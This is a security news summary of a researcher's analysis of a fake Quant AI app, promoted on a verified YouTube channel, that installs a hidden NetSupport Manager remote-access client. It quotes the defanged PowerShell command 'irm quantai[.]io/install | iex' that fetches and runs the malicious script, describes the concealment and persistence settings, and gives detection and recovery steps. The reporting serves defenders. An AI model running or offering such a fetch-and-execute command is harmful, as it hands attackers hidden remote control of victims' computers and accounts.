Verified YouTube Channel Promoted Fake Quant AI App That Installs NetSupport Manager

Summary
Researcher Luke Wilkinson says a fake Quant AI installer promoted by a verified YouTube channel deploys hidden, persistent NetSupport Manager via PowerShell. He analyzed but did not run the payload and saw no live session; affected users are advised to check for the app
Key points
- Wilkinson reports that two Quant AI promotional videos on a verified YouTube channel had about 190,000 views; he suspects the channel was repurposed but could not determine whether it was bought or taken over.
- The installer instructs users to paste a PowerShell command that fetches and runs a script from quantai[.]io; a browser-like request received a Cloudflare block page.
- According to Wilkinson’s analysis, the script sends the computer name to chartsgpt[.]com, installs a signed NetSupport Manager client, creates a Startup shortcut, and opens a signed decoy Quant app.
- The NetSupport configuration disables its tray icon, connection prompt, and user disconnect option, enabling remote screen, keyboard, file-transfer, and command-line access.
- Wilkinson downloaded and examined the stages but did not run them or observe a live remote session; he does not know how many viewers ran the command.
- At 04:06 UTC on 12 November, the four campaign domains still resolved, but Wilkinson cautioned that DNS resolution did not prove the servers were still responding.
- His guidance includes checking for campaign folders, Startup shortcuts, connections on port 2084, and the installer command in PowerShell history; suspected victims should disconnect and reset Windows.
Article Details
- Attack Vectors
- Two YouTube videos promoted the fake Quant AI crypto app. The install instructions appeared only after users signed up and logged in.
- The install page instructed users to paste `irm quantai[.]io/install | iex` into PowerShell, which fetched and ran a script.
- The script sent the computer name to a second server, downloaded NetSupport Manager, configured it to run without a visible tray icon or connection prompt, and added a Startup-folder shortcut.
- A signed Quant app opened as a decoy to make the installation appear successful.
- Defensive Notes
- If the command was pasted, disconnect the PC from the internet to end any remote session.
- From a different device, change email, crypto exchange, and bank passwords; sign out other sessions and treat accessible crypto wallets as exposed.
- Check for the Supports, Stoservice, and Quant folders, service.lnk or stservice.lnk Startup shortcuts, connections on remote port 2084, and the command in PowerShell history.
- For a potentially infected machine, back up documents and photos, then reset Windows using “Remove everything”; notify IT if it is a work laptop.
